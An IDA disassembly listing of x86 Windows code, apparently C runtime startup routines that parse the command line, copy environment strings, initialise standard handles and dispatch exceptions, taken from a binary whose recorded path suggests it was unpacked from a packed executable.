; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_42347E: ; CODE XREF: sub_4232A8+1C2j
cmp ebx, edi
jz short loc_423436
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427044 ; LCMapStringW
test eax, eax
jz short loc_423436
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4234A5
push edi
push edi
jmp short loc_4234AB
; ---------------------------------------------------------------------------
loc_4234A5: ; CODE XREF: sub_4232A8+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4234AB: ; CODE XREF: sub_4232A8+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call ds:dword_427188 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_423436
loc_4234C5: ; CODE XREF: sub_4232A8+165j
; sub_4232A8+188j
mov eax, esi
jmp loc_423438
sub_4232A8 endp
; =============== S U B R O U T I N E =======================================
sub_4234CC proc near ; CODE XREF: sub_4232A8+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4234E9
loc_4234DC: ; CODE XREF: sub_4234CC+1Bj
cmp byte ptr [eax], 0
jz short loc_4234E9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4234DC
loc_4234E9: ; CODE XREF: sub_4234CC+Ej
; sub_4234CC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4234F4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4234F4: ; CODE XREF: sub_4234CC+21j
mov eax, edx
retn
sub_4234CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234F7 proc near ; CODE XREF: .text:0041E2B6p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_423638
test eax, eax
pop ecx
jz loc_42362C
mov ebx, [eax+8]
test ebx, ebx
jz loc_42362C
cmp ebx, 5
jnz short loc_423528
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423635
; ---------------------------------------------------------------------------
loc_423528: ; CODE XREF: sub_4234F7+23j
cmp ebx, 1
jz loc_423627
mov ecx, dword_4DBE9C
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_4DBE9C, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423617
mov ecx, dword_43D4C0
mov edx, dword_43D4C4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423577
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43D450h[esi*4]
loc_42356E: ; CODE XREF: sub_4234F7+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_42356E
loc_423577: ; CODE XREF: sub_4234F7+69j
mov eax, [eax]
mov esi, dword_43D4CC
cmp eax, 0C000008Eh
jnz short loc_423592
mov dword_43D4CC, 83h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_423592: ; CODE XREF: sub_4234F7+8Dj
cmp eax, 0C0000090h
jnz short loc_4235A5
mov dword_43D4CC, 81h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: sub_4234F7+A0j
cmp eax, 0C0000091h
jnz short loc_4235B8
mov dword_43D4CC, 84h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: sub_4234F7+B3j
cmp eax, 0C0000093h
jnz short loc_4235CB
mov dword_43D4CC, 85h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235CB: ; CODE XREF: sub_4234F7+C6j
cmp eax, 0C000008Dh
jnz short loc_4235DE
mov dword_43D4CC, 82h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235DE: ; CODE XREF: sub_4234F7+D9j
cmp eax, 0C000008Fh
jnz short loc_4235F1
mov dword_43D4CC, 86h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: sub_4234F7+ECj
cmp eax, 0C0000092h
jnz short loc_423602
mov dword_43D4CC, 8Ah
loc_423602: ; CODE XREF: sub_4234F7+99j
; sub_4234F7+ACj ...
push dword_43D4CC
push 8
call ebx
pop ecx
mov dword_43D4CC, esi
pop ecx
pop esi
jmp short loc_42361F
; ---------------------------------------------------------------------------
loc_423617: ; CODE XREF: sub_4234F7+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42361F: ; CODE XREF: sub_4234F7+11Ej
mov eax, [ebp+arg_0]
mov dword_4DBE9C, eax
loc_423627: ; CODE XREF: sub_4234F7+34j
or eax, 0FFFFFFFFh
jmp short loc_423635
; ---------------------------------------------------------------------------
loc_42362C: ; CODE XREF: sub_4234F7+Fj
; sub_4234F7+1Aj
push [ebp+arg_4]
call ds:dword_427040 ; UnhandledExceptionFilter
loc_423635: ; CODE XREF: sub_4234F7+2Cj
; sub_4234F7+133j
pop ebx
pop ebp
retn
sub_4234F7 endp
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: sub_4234F7+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D448, edx
push esi
mov eax, offset dword_43D448
jz short loc_423665
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_42365A: ; CODE XREF: sub_423638+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423665
cmp [eax], edx
jnz short loc_42365A
loc_423665: ; CODE XREF: sub_423638+16j
; sub_423638+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_423678
cmp [eax], edx
jz short locret_42367A
loc_423678: ; CODE XREF: sub_423638+3Aj
xor eax, eax
locret_42367A: ; CODE XREF: sub_423638+3Ej
retn
sub_423638 endp
; =============== S U B R O U T I N E =======================================
sub_42367B proc near ; CODE XREF: .text:0041E278p
cmp dword_4DD394, 0
jnz short loc_423689
call sub_420B0D
loc_423689: ; CODE XREF: sub_42367B+7j
push esi
mov esi, dword_4DD38C
mov al, [esi]
cmp al, 22h
jnz short loc_4236BB
loc_423696: ; CODE XREF: sub_42367B+33j
; sub_42367B+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4236B3
test al, al
jz short loc_4236B3
movzx eax, al
push eax
call sub_424FE7
test eax, eax
pop ecx
jz short loc_423696
inc esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236B3: ; CODE XREF: sub_42367B+21j
; sub_42367B+25j
cmp byte ptr [esi], 22h
jnz short loc_4236C5
loc_4236B8: ; CODE XREF: sub_42367B+52j
inc esi
jmp short loc_4236C5
; ---------------------------------------------------------------------------
loc_4236BB: ; CODE XREF: sub_42367B+19j
cmp al, 20h
jbe short loc_4236C5
loc_4236BF: ; CODE XREF: sub_42367B+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_4236BF
loc_4236C5: ; CODE XREF: sub_42367B+3Bj
; sub_42367B+3Ej ...
mov al, [esi]
test al, al
jz short loc_4236CF
cmp al, 20h
jbe short loc_4236B8
loc_4236CF: ; CODE XREF: sub_42367B+4Ej
mov eax, esi
pop esi
retn
sub_42367B endp
; =============== S U B R O U T I N E =======================================
sub_4236D3 proc near ; CODE XREF: .text:0041E261p
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4236E5
call sub_420B0D
loc_4236E5: ; CODE XREF: sub_4236D3+Bj
mov esi, dword_4DBE34
xor edi, edi
loc_4236ED: ; CODE XREF: sub_4236D3+30j
mov al, [esi]
cmp al, bl
jz short loc_423705
cmp al, 3Dh
jz short loc_4236F8
inc edi
loc_4236F8: ; CODE XREF: sub_4236D3+22j
push esi
call sub_41B9C0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4236ED
; ---------------------------------------------------------------------------
loc_423705: ; CODE XREF: sub_4236D3+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DBE04, esi
jnz short loc_423727
push 9
call sub_41E2C9
pop ecx
loc_423727: ; CODE XREF: sub_4236D3+4Aj
mov edi, dword_4DBE34
cmp [edi], bl
jz short loc_42376A
push ebp
loc_423732: ; CODE XREF: sub_4236D3+94j
push edi
call sub_41B9C0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423763
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423756
push 9
call sub_41E2C9
pop ecx
loc_423756: ; CODE XREF: sub_4236D3+79j
push edi
push dword ptr [esi]
call sub_41C890
pop ecx
add esi, 4
pop ecx
loc_423763: ; CODE XREF: sub_4236D3+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_423732
pop ebp
loc_42376A: ; CODE XREF: sub_4236D3+5Cj
push dword_4DBE34
call sub_41BA91
pop ecx
mov dword_4DBE34, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DD390, 1
pop ebx
retn
sub_4236D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42378C proc near ; CODE XREF: .text:0041E25Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4237A3
call sub_420B0D
loc_4237A3: ; CODE XREF: sub_42378C+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call ds:dword_427078 ; GetModuleFileNameA
mov eax, dword_4DD38C
mov off_4DBE14, esi
mov edi, esi
cmp [eax], bl
jz short loc_4237C8
mov edi, eax
loc_4237C8: ; CODE XREF: sub_42378C+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_423825
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41BEB5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4237F8
push 8
call sub_41E2C9
pop ecx
loc_4237F8: ; CODE XREF: sub_42378C+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423825
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4DBDFC, esi
pop edi
pop esi
mov dword_4DBDF8, eax
pop ebx
leave
retn
sub_42378C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423825 proc near ; CODE XREF: sub_42378C+47p
; sub_42378C+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42384F
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42384F: ; CODE XREF: sub_423825+20j
cmp byte ptr [eax], 22h
jnz short loc_423898
loc_423854: ; CODE XREF: sub_423825+58j
; sub_423825+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423886
test dl, dl
jz short loc_423886
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_423879
inc dword ptr [ecx]
test esi, esi
jz short loc_423879
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423879: ; CODE XREF: sub_423825+46j
; sub_423825+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423854
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423854
; ---------------------------------------------------------------------------
loc_423886: ; CODE XREF: sub_423825+36j
; sub_423825+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423890
and byte ptr [esi], 0
inc esi
loc_423890: ; CODE XREF: sub_423825+65j
cmp byte ptr [eax], 22h
jnz short loc_4238DB
inc eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_423898: ; CODE XREF: sub_423825+2Dj
; sub_423825+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_4238A3
mov dl, [eax]
mov [esi], dl
inc esi
loc_4238A3: ; CODE XREF: sub_423825+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_4238BE
inc dword ptr [ecx]
test esi, esi
jz short loc_4238BD
mov bl, [eax]
mov [esi], bl
inc esi
loc_4238BD: ; CODE XREF: sub_423825+91j
inc eax
loc_4238BE: ; CODE XREF: sub_423825+8Bj
cmp dl, 20h
jz short loc_4238CC
test dl, dl
jz short loc_4238D0
cmp dl, 9
jnz short loc_423898
loc_4238CC: ; CODE XREF: sub_423825+9Cj
test dl, dl
jnz short loc_4238D3
loc_4238D0: ; CODE XREF: sub_423825+A0j
dec eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_4238D3: ; CODE XREF: sub_423825+A9j
test esi, esi
jz short loc_4238DB
and byte ptr [esi-1], 0
loc_4238DB: ; CODE XREF: sub_423825+6Ej
; sub_423825+71j ...
and [ebp+arg_10], 0
loc_4238DF: ; CODE XREF: sub_423825+19Ej
cmp byte ptr [eax], 0
jz loc_4239C8
loc_4238E8: ; CODE XREF: sub_423825+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4238F4
cmp dl, 9
jnz short loc_4238F7
loc_4238F4: ; CODE XREF: sub_423825+C8j
inc eax
jmp short loc_4238E8
; ---------------------------------------------------------------------------
loc_4238F7: ; CODE XREF: sub_423825+CDj
cmp byte ptr [eax], 0
jz loc_4239C8
test edi, edi
jz short loc_42390C
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42390C: ; CODE XREF: sub_423825+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423911: ; CODE XREF: sub_423825+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_42391A: ; CODE XREF: sub_423825+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423923
inc eax
inc ebx
jmp short loc_42391A
; ---------------------------------------------------------------------------
loc_423923: ; CODE XREF: sub_423825+F8j
cmp byte ptr [eax], 22h
jnz short loc_423954
test bl, 1
jnz short loc_423952
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423941
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423941
mov eax, edx
jmp short loc_423944
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_423825+10Dj
; sub_423825+116j
mov [ebp+arg_0], edi
loc_423944: ; CODE XREF: sub_423825+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423952: ; CODE XREF: sub_423825+106j
shr ebx, 1
loc_423954: ; CODE XREF: sub_423825+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423969
inc ebx
loc_42395C: ; CODE XREF: sub_423825+142j
test esi, esi
jz short loc_423964
mov byte ptr [esi], 5Ch
inc esi
loc_423964: ; CODE XREF: sub_423825+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42395C
loc_423969: ; CODE XREF: sub_423825+134j
mov dl, [eax]
test dl, dl
jz short loc_4239B9
cmp [ebp+arg_10], 0
jnz short loc_42397F
cmp dl, 20h
jz short loc_4239B9
cmp dl, 9
jz short loc_4239B9
loc_42397F: ; CODE XREF: sub_423825+14Ej
cmp [ebp+arg_0], 0
jz short loc_4239B3
test esi, esi
jz short loc_4239A2
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_42399B
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42399B: ; CODE XREF: sub_423825+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4239B1
; ---------------------------------------------------------------------------
loc_4239A2: ; CODE XREF: sub_423825+162j
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_4239B1
inc eax
inc dword ptr [ecx]
loc_4239B1: ; CODE XREF: sub_423825+17Bj
; sub_423825+187j
inc dword ptr [ecx]
loc_4239B3: ; CODE XREF: sub_423825+15Ej
inc eax
jmp loc_423911
; ---------------------------------------------------------------------------
loc_4239B9: ; CODE XREF: sub_423825+148j
; sub_423825+153j ...
test esi, esi
jz short loc_4239C1
and byte ptr [esi], 0
inc esi
loc_4239C1: ; CODE XREF: sub_423825+196j
inc dword ptr [ecx]
jmp loc_4238DF
; ---------------------------------------------------------------------------
loc_4239C8: ; CODE XREF: sub_423825+BDj
; sub_423825+D5j
test edi, edi
jz short loc_4239CF
and dword ptr [edi], 0
loc_4239CF: ; CODE XREF: sub_423825+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423825 endp
; =============== S U B R O U T I N E =======================================
sub_4239D9 proc near ; CODE XREF: .text:0041E252p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_4DBFA4
push ebx
push ebp
mov ebp, ds:dword_427030
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423A27
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_423A08
mov dword_4DBFA4, 1
jmp short loc_423A30
; ---------------------------------------------------------------------------
loc_423A08: ; CODE XREF: sub_4239D9+21j
call ds:dword_427034 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_423B02
mov dword_4DBFA4, 2
jmp loc_423AB6
; ---------------------------------------------------------------------------
loc_423A27: ; CODE XREF: sub_4239D9+19j
cmp eax, 1
jnz loc_423AB1
loc_423A30: ; CODE XREF: sub_4239D9+2Dj
cmp esi, ebx
jnz short loc_423A40
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_423B02
loc_423A40: ; CODE XREF: sub_4239D9+59j
cmp [esi], bx
mov eax, esi
jz short loc_423A55
loc_423A47: ; CODE XREF: sub_4239D9+73j
; sub_4239D9+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
loc_423A55: ; CODE XREF: sub_4239D9+6Cj
sub eax, esi
mov edi, ds:dword_427188
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_423AA6
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_423AA6
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_423AA2
push [esp+18h+var_8]
call sub_41BA91
pop ecx
mov [esp+18h+var_8], ebx
loc_423AA2: ; CODE XREF: sub_4239D9+B9j
mov ebx, [esp+18h+var_8]
loc_423AA6: ; CODE XREF: sub_4239D9+99j
; sub_4239D9+A8j
push esi
call ds:dword_427038 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423AB1: ; CODE XREF: sub_4239D9+51j
cmp eax, 2
jnz short loc_423B02
loc_423AB6: ; CODE XREF: sub_4239D9+49j
cmp edi, ebx
jnz short loc_423AC6
call ds:dword_427034 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_423B02
loc_423AC6: ; CODE XREF: sub_4239D9+DFj
cmp [edi], bl
mov eax, edi
jz short loc_423AD6
loc_423ACC: ; CODE XREF: sub_4239D9+F6j
; sub_4239D9+FBj
inc eax
cmp [eax], bl
jnz short loc_423ACC
inc eax
cmp [eax], bl
jnz short loc_423ACC
loc_423AD6: ; CODE XREF: sub_4239D9+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423AEC
xor esi, esi
jmp short loc_423AF7
; ---------------------------------------------------------------------------
loc_423AEC: ; CODE XREF: sub_4239D9+10Dj
push ebp
push edi
push esi
call sub_41CD20
add esp, 0Ch
loc_423AF7: ; CODE XREF: sub_4239D9+111j
push edi
call ds:dword_42703C ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: sub_4239D9+39j
; sub_4239D9+61j ...
xor eax, eax
loc_423B04: ; CODE XREF: sub_4239D9+D6j
; sub_4239D9+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4239D9 endp
; =============== S U B R O U T I N E =======================================
sub_423B0B proc near ; CODE XREF: .text:0041E242p
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423B2B
push 1Bh
call sub_41E2C9
pop ecx
loc_423B2B: ; CODE XREF: sub_423B0B+16j
mov dword_4DD040, esi
mov dword_4DD140, 20h
lea eax, [esi+100h]
loc_423B41: ; CODE XREF: sub_423B0B+52j
cmp esi, eax
jnb short loc_423B5F
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DD040
add esi, 8
add eax, 100h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B5F: ; CODE XREF: sub_423B0B+38j
lea eax, [esp+54h+var_44]
push eax
call ds:dword_4271A8 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_423C3B
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_423C3B
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423B95
mov esi, eax
loc_423B95: ; CODE XREF: sub_423B0B+86j
cmp dword_4DD140, esi
jge short loc_423BEF
mov edi, offset dword_4DD044
loc_423BA2: ; CODE XREF: sub_423B0B+DAj
push 100h
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423BE9
add dword_4DD140, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423BC0: ; CODE XREF: sub_423B0B+CFj
cmp eax, ecx
jnb short loc_423BDC
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423BC0
; ---------------------------------------------------------------------------
loc_423BDC: ; CODE XREF: sub_423B0B+B7j
add edi, 4
cmp dword_4DD140, esi
jl short loc_423BA2
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BE9: ; CODE XREF: sub_423B0B+A4j
mov esi, dword_4DD140
loc_423BEF: ; CODE XREF: sub_423B0B+90j
; sub_423B0B+DCj
xor edi, edi
test esi, esi
jle short loc_423C3B
loc_423BF5: ; CODE XREF: sub_423B0B+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423C32
mov cl, [ebp+0]
test cl, 1
jz short loc_423C32
test cl, 8
jnz short loc_423C14
push eax
call ds:dword_427024 ; GetFileType
test eax, eax
jz short loc_423C32
loc_423C14: ; CODE XREF: sub_423B0B+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423C32: ; CODE XREF: sub_423B0B+EFj
; sub_423B0B+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423BF5
loc_423C3B: ; CODE XREF: sub_423B0B+65j
; sub_423B0B+71j ...
xor ebx, ebx
loc_423C3D: ; CODE XREF: sub_423B0B+195j
mov eax, dword_4DD040
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423C98
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423C58
push 0FFFFFFF6h
pop eax
jmp short loc_423C62
; ---------------------------------------------------------------------------
loc_423C58: ; CODE XREF: sub_423B0B+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423C62: ; CODE XREF: sub_423B0B+14Bj
push eax
call ds:dword_427028 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423C87
push edi
call ds:dword_427024 ; GetFileType
test eax, eax
jz short loc_423C87
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423C8D
loc_423C87: ; CODE XREF: sub_423B0B+163j
; sub_423B0B+16Ej
or byte ptr [esi+4], 40h
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C8D: ; CODE XREF: sub_423B0B+17Aj
cmp eax, 3
jnz short loc_423C9C
or byte ptr [esi+4], 8
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C98: ; CODE XREF: sub_423B0B+13Ej
or byte ptr [esi+4], 80h
loc_423C9C: ; CODE XREF: sub_423B0B+180j
; sub_423B0B+185j ...
inc ebx
cmp ebx, 3
jl short loc_423C3D
push dword_4DD140
call ds:dword_42702C ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_423B0B endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CC0 proc near ; DATA XREF: .text:0041E1DDo
; sub_4228FD+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423D60
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423CF3: ; CODE XREF: sub_423CC0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423D59
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423D47
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423D47
js short loc_423D52
mov edi, [ebx+8]
push ebx
call sub_41D550
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D592
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423D47: ; CODE XREF: sub_423CC0+40j
; sub_423CC0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423CF3
; ---------------------------------------------------------------------------
loc_423D52: ; CODE XREF: sub_423CC0+54j
mov eax, 0
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423CC0+36j
mov eax, 1
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D60: ; CODE XREF: sub_423CC0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D592
add esp, 8
pop ebp
mov eax, 1
loc_423D75: ; CODE XREF: sub_423CC0+97j
; sub_423CC0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423CC0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D592
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p
; sub_41E2EE+9p
mov eax, dword_4DBE3C
cmp eax, 1
jz short loc_423DAF
test eax, eax
jnz short locret_423DD0
cmp dword_43AE44, 1
jnz short locret_423DD0
loc_423DAF: ; CODE XREF: sub_423D98+8j
push 0FCh
call sub_423DD1
mov eax, dword_4DBFA8
pop ecx
test eax, eax
jz short loc_423DC5
call eax
loc_423DC5: ; CODE XREF: sub_423D98+29j
push 0FFh
call sub_423DD1
pop ecx
locret_423DD0: ; CODE XREF: sub_423D98+Cj
; sub_423D98+15j
retn
sub_423D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p
; sub_41E2EE+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D4D8
loc_423DE4: ; CODE XREF: sub_423DD1+20j
cmp edx, [eax]
jz short loc_423DF3
add eax, 8
inc ecx
cmp eax, offset off_43D568
jl short loc_423DE4
loc_423DF3: ; CODE XREF: sub_423DD1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D4D8[esi]
jnz loc_423F21
mov eax, dword_4DBE3C
